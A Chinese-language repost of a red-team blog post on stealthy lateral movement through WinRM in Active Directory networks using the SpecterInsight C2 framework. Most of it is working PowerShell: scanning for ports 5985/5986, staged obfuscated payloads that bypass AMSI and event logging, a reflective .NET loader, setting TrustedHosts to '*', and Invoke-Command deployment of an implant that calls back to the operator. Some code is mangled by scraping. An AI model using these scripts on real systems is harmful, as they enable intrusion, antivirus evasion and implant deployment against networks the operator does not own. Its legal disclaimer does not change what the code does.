利用 WinRM 进行隐秘横向移动的技术

admin 2025年5月12日00:31:23评论4 views字数 9572阅读31分54秒阅读模式
利用 WinRM 进行隐秘横向移动的技术

概述

在这篇文章中,我将介绍如何使用 WinRM 在 Active Directory 网络内横向移动并尝试融入噪音。

虽然 WinRM 确实允许你运行远程命令,但如果不将有效载荷(例如 Mimikatz)推送到目标,其访问内容可能会受到限制。这时,这项技术就派上用场了。

使用的工具:

  • PowerShell

  • .NET 模块

  • 版本 4.4.0:GPO 模块和更多 SpecterScript

WinRM的背景

Windows 远程管理 (WinRM) 是 Microsoft 对 WS-Management 协议的实现,该协议为系统提供了一种基于 SOAP 消息传递的远程通信标准方式。它主要用于 Windows 系统上的远程命令执行、PowerShell 远程处理和管理任务。

实际上,WinRM 是一项在 Windows 系统上运行的服务,允许远程执行 PowerShell 脚本。管理员(或攻击者)可以使用适当的凭据连接到 HTTP 端口 5985 或 HTTPS 端口 5986,并运行任意 PowerShell 命令。一旦经过身份验证的用户连接并调用脚本,winrm.exe 进程就会创建一个名为“Windows 管理提供程序主机”或 wsmprovhost.exe 的子进程来处理脚本的执行。

通过 WinRM 运行命令时会发生什么

启动连接:

  • 用户在本地系统上运行 Invoke-Command、Enter-PSSession 或运行 winrs.exe。

  • HTTP/S 请求发送到远程 WinRM 服务(托管 WinRM 的 svchost.exe)

远程系统响应:

  • svchost.exe(WinRM)接收请求

  • 生成 wsmprovhost.exe 以在用户上下文中托管 PowerShell 会话

命令执行:

  • wsmprovhost.exe 执行命令或脚本

  • 输出被序列化(使用 SOAP 和 WS-Management)并通过 HTTP/S 返回

会话终止:

  • 会话关闭时,wsmprovhost.exe 退出

这是非常重要的背景信息。首先,它让我们知道,每次运行新的 WinRM 连接时,我们都会得到一个干净的子进程来运行;其次,我们知道需要保持该 WinRM 连接处于打开状态或阻止命令完成,这样我们通过该连接推送的植入程序就不会在 wsmprovhost.exe 退出时被关闭。

确定 WinRM 是否已启用

现在我们已经了解了 WinRM 的一些背景知识,那么我们如何知道这项技术是否可以在目标环境中使用呢?最重要的是检查 WinRM 是否在目标上运行。WinRM 几乎总是配置为监听端口 5985 或 5986,因此我们可以使用端口扫描本地网络 SpecterScript 检查远程系统上该端口是否打开。

将 SpecterScript 添加到命令生成器后,您将看到一个包含端口选择选项的 UI。WinRM 端口 5985 和 5986 不包含在默认端口列表中,因此需要将其添加到“端口”参数中。现在可以运行此命令,并将很快返回端口扫描结果。

利用 WinRM 进行隐秘横向移动的技术

命令完成后,您应该获得类似如下所示的输出:

IP            Network 5985-- ------- ----192.168.1.103192.168.1.0/24 Open10.0.2.21310.0.2.0/24    Open

我们发现 5985 端口在多个系统上都处于开放状态。现在我们知道了可以访问哪些系统,接下来让我们深入研究一下各种攻击技术:

参数

对于此 SpecterScript,我们需要一组非常简单的参数来减轻操作员的工作量。操作员至少需要提供一个目标系统(主机名、完全限定域名或 IP 地址)。用户可以选择提供用户名和密码进行身份验证。此外,还有一些具有良好默认值的选项,即 Payload 参数,它允许操作员在两种不同的有效载荷技术之间进行选择,这些技术将在下文讨论。此外,如果操作员想要部署默认设置以外的其他内容,可以选择“构建”植入程序。

param(    [Parameter(ParameterSetName="Impersonate", Mandatory=$True, HelpMessage="The IP address or hostname of the target system.")]    [Parameter(ParameterSetName="Username and Password", Mandatory=$True, HelpMessage="The IP address or hostname of the target system.")]    [ValidateNotNullOrEmpty]    [string]$Target,    [Parameter(ParameterSetName="Username and Password", Mandatory=$True, HelpMessage="The local or domain username to authenticate with.")]    [ValidateNotNullOrEmpty]    [string]$Username,    [Parameter(ParameterSetName="Username and Password", Mandatory=$True, HelpMessage="The password for the specified user.")]    [ValidateNotNullOrEmpty]    [string]$Password,    [Parameter(ParameterSetName="Impersonate", Mandatory = $true, HelpMessage = "The type of payload to use.")]    [Parameter(ParameterSetName="Username and Password", Mandatory = $true, HelpMessage = "The type of payload to use.")]    [ValidateSet('ps_cradle', 'cs_load_module')]    [string]$Payload = 'cs_load_module',    [Parameter(ParameterSetName="Impersonate", Mandatory = $true, HelpMessage = "The Specter build identifier.")]    [Parameter(ParameterSetName="Username and Password", Mandatory = $true, HelpMessage = "The Specter build identifier.")]    [ValidateNotNullOrEmpty()]    [Build]    [string]$Build)

上面的参数块将由 SpecterInsight UI 呈现为下面显示的简单 GUI:

利用 WinRM 进行隐秘横向移动的技术

技术

在 SpecterInsight 4.4.0 的最新版本中,我发布了两种将有效载荷推送到目标并通过 WinRM 执行的技术:

  1. PowerShell 底座

  2. .NET 模块加载器

让我们详细地看一下每一个。

PowerShell 支架

利用这种技术,我们可以简单地激活SpecterInsight有效载荷管道ps_cradle,以生成一个小型PowerShell脚本,该脚本可以安全地将Specter加载到内存中。它通过三个阶段实现:

  • 第 0 阶段:Cradle。此阶段负责绕过 AMSI,然后下载并执行第 1 阶段的脚本。这是我们进行重头戏的部分。如果一切按计划进行,这将是远程 AV 扫描到的唯一脚本。因此,它经过了高度混淆。

  • 第一阶段:加载器。此阶段负责绕过事件日志记录,然后下载并执行第二阶段的程序。出于性能考虑,此阶段的混淆程度最低,但这应该没问题,因为前一阶段已禁用 AMSI。

  • 第二阶段:幽灵。这是幽灵植入物,现已安全加载到内存中。

这可能是最简单、最容易的横向移动方式,因为 WinRM 被设计用于远程执行 PowerShell 命令;然而,根据查看者的不同,混淆的有效载荷可能会有点响亮。

以下是该技术的 SpecterScript:

# Generate a new, obfuscated PowerShell cradle payload$contents = Get-Payload 'ps_cradle' -Build $Build -AsString;# Build a ScriptBlock to deploy to the target and execute$scriptBlock = [scriptblock]::Create($contents);$argumentList = @();# Execute command on remote system using WinRMtry {if(![String]::IsNullOrEmpty($Username) -and $Password -ne $null) {# Converts the plaintext username and password into a PSCredential object    $SecurePassword = ConvertTo-SecureString -String $Password -AsPlainText -Force    $Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $Username, $SecurePassword# Run the payload on the remote machine using username and password    Invoke-Command -ComputerName $Target -Credential $Credential -ScriptBlock $scriptBlock -ArgumentList $argumentList -AsJob | Out-Null;  } else {# Run the payload on the remote machine using impersonation    Invoke-Command -ComputerName $Target -ScriptBlock $scriptBlock -ArgumentList $argumentList -AsJob | Out-Null;  }  $success = $true;catch {  $success = $false;throw;}

反射负载.NET模块

使用这种技术,我们将尝试将 .NET 加载器作为参数传递给将在远程计算机上运行的小型 PowerShell 脚本。将模块内容作为参数传递后,PowerShell 脚本只需调用 [System.Reflection.Assembly]::Load() 和 Assembly.EntryPoint.Invoke 即可。然后,该模块将下载并执行 Specter 植入程序。此方法也分为三个阶段:

  • 第 0 阶段:底座。 此阶段负责将 .NET 加载器作为参数传递给底座,底座则负责隐藏在显眼位置并加载 .NET 加载器。它通过将两个加载器命令嵌入到良性 PowerShell 脚本中来实现隐藏。

  • 第一阶段:.NET 加载器。此阶段负责绕过 AMSI,然后下载并执行第二阶段。由于底座无法绕过 AMSI,因此此模块将被已安装的杀毒软件扫描。为了降低检测难度,.NET 加载器源代码在编译前经过了高度混淆。

  • 第二阶段:幽灵。这是幽灵植入物,现已安全加载到内存中。

这种技术的优点是,它可以产生更小的有效载荷,通过将其嵌入到良性脚本中,我们可以将其隐藏在显眼的地方。

这是针对此特定技术的 SpecterScript。

# Generate payload. In this case, we specify a $contents = Get-Payload 'cs_load_module' -Build $Build -Args @{  AmsiBypassTechnique = 'HardwareBreakpointAmsiScanBuffer';};$scriptBlock = {param(  $Contents)[System.Reflection.Assembly]::Load($Contents).EntryPoint.Invoke($null, $null);};$argumentList = @(,$contents);# Execute command on remote system using WinRMtry {if(![String]::IsNullOrEmpty($Username) -and $Password -ne $null) {# Converts the plaintext username and password into a PSCredential object      $SecurePassword = ConvertTo-SecureString -String $Password -AsPlainText -Force      $Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $Username, $SecurePassword# Run the payload on the remote machine using username and password      Invoke-Command -ComputerName $Target -Credential $Credential -ScriptBlock $scriptBlock -ArgumentList $argumentList -AsJob | Out-Null;  } else {# Run the payload on the remote machine using impersonation      Invoke-Command -ComputerName $Target -ScriptBlock $scriptBlock -ArgumentList $argumentList -AsJob | Out-Null;  }  $success = $true;catch {  $success = $false;throw;}

在当前系统上启用 WinRM

要利用 WinRM,您必须首先解决一些先决条件:

  • 获取远程系统的凭证

  • 配置本地主机以允许 WinRM

  • 远程主机还必须配置为允许 WinRM。在这种情况下,我们假设它已经运行,否则此技术将无法实现。

在执行任何操作之前,您必须拥有远程系统的凭据。此实现方式可以使用模拟或显式凭据。使用模拟时,您需要拥有具有交互式访问权限的令牌,以避免双跳问题。如果没有,您可以选择提供用户名和密码。

接下来,您必须配置本地系统,以便能够通过 WinRM 连接到远程系统。这将通过执行以下命令在 SpecterScript 中自动完成。无需在本地主机上完全配置 WinRM。最低要求是 WinRM 服务正在运行,因此 SpecterInsight 只需确保这一点即可。话虽如此,当前用户需要拥有本地系统的管理员权限才能进行这些更改。

#Configure WinRM locally# Enable PowerShell remoting on the current machinetry {  $service = Get-Service -Name WinRM;if ($service.Status -ne 'Running') {    Start-Service -Name WinRM;  }catch { }# Allow client to connect to any hosttry {  Set-Item -Path WSMan:localhostClientTrustedHosts -Value * -Force;catch { }

执行该技术

一旦满足了这两个先决条件,我们就可以执行该技术了。在交互式会话中,我只需将“使用 WinRM 进行横向移动”SpecterScript 加载到命令生成器中,并配置参数块中定义的参数,即目标、用户名和密码参数。最终的命令如下所示:

利用 WinRM 进行隐秘横向移动的技术

接下来,我们运行命令,片刻之后我们就会得到回调。

利用 WinRM 进行隐秘横向移动的技术

完整的 SpecterScript

这是完整的 SpecterScript,其中所有组件都整齐地捆绑在一个简单的命令中:

param(    [Parameter(ParameterSetName="Impersonate", Mandatory=$True, HelpMessage="The IP address or hostname of the target system.")]    [Parameter(ParameterSetName="Username and Password", Mandatory=$True, HelpMessage="The IP address or hostname of the target system.")]    [ValidateNotNullOrEmpty]    [string]$Target,    [Parameter(ParameterSetName="Username and Password", Mandatory=$True, HelpMessage="The local or domain username to authenticate with.")]    [ValidateNotNullOrEmpty]    [string]$Username,    [Parameter(ParameterSetName="Username and Password", Mandatory=$True, HelpMessage="The password for the specified user.")]    [ValidateNotNullOrEmpty]    [string]$Password,    [Parameter(ParameterSetName="Impersonate", Mandatory = $true, HelpMessage = "The type of payload to use.")]    [Parameter(ParameterSetName="Username and Password", Mandatory = $true, HelpMessage = "The type of payload to use.")]    [ValidateSet('ps_cradle''cs_load_module')]    [string]$Payload = 'cs_load_module',    [Parameter(ParameterSetName="Impersonate", Mandatory = $true, HelpMessage = "The Specter build identifier.")]    [Parameter(ParameterSetName="Username and Password", Mandatory = $true, HelpMessage = "The Specter build identifier.")]    [ValidateNotNullOrEmpty()]    [Build]    [string]$Build)#Configure WinRM locally# Enable PowerShell remoting on the target machinetry {  Enable-PSRemoting -Force | Out-Null;catch { }# Allow coient to connect to any hosttry {  Set-Item -Path WSMan:localhostClientTrustedHosts -Value * -Force;catch { }#Generate payload and convert to ScriptBlock for execution via WinRMif($Payload -eq 'ps_cradle') {  $contents = Get-Payload 'ps_cradle' -Build $Build -AsString;  $scriptBlock = [scriptblock]::Create($contents);  $argumentList = @();elseif($Payload -eq 'cs_load_module') {#Generate a stand-alone bypass  $contents = Get-Payload 'cs_load_module' -Build $Build -Args @{    AmsiBypassTechnique = 'HardwareBreakpointAmsiScanBuffer';  };  $scriptBlock = {param(  $Contents)  [System.Reflection.Assembly]::Load($Contents).EntryPoint.Invoke($null, $null);};  $argumentList = @(,$contents);}#Execute command on remote system using WinRMtry {if(![String]::IsNullOrEmpty($Username) -and $Password -ne $null) {#Run with explicit credentials      $SecurePassword = ConvertTo-SecureString -String $Password -AsPlainText -Force      $Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $Username, $SecurePassword# Run the payload on the remote machine using username and password    Invoke-Command -ComputerName $Target -Credential $Credential -ScriptBlock $scriptBlock -ArgumentList $argumentList -AsJob | Out-Null;  } else {#Run the payload on the remote machine using impersonation      Invoke-Command -ComputerName $Target -ScriptBlock $scriptBlock -ArgumentList $argumentList -AsJob | Out-Null;  }  $success = $true;catch {  $success = $false;throw;}#Output the result objectNew-Object psobject -Property @{    Lateral = New-Object psobject -Property @{        Method = "WinRM";        Build = $Build;        Payload = $Payload;        System = $Target;        Username = $Username;        Success = $success;    };};

结论

如果您的环境中已配置 WinRM,那么 WinRM 是进行横向移动的绝佳方法,但如果 Payload 制作不当,其中运行的命令可能会被暴露。本文旨在强调如何利用 WinRM 并隐藏在网络中。

原文始发于微信公众号(Ots安全):利用 WinRM 进行隐秘横向移动的技术

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年5月12日00:31:23
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   利用 WinRM 进行隐秘横向移动的技术https://cn-sec.com/archives/4050849.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息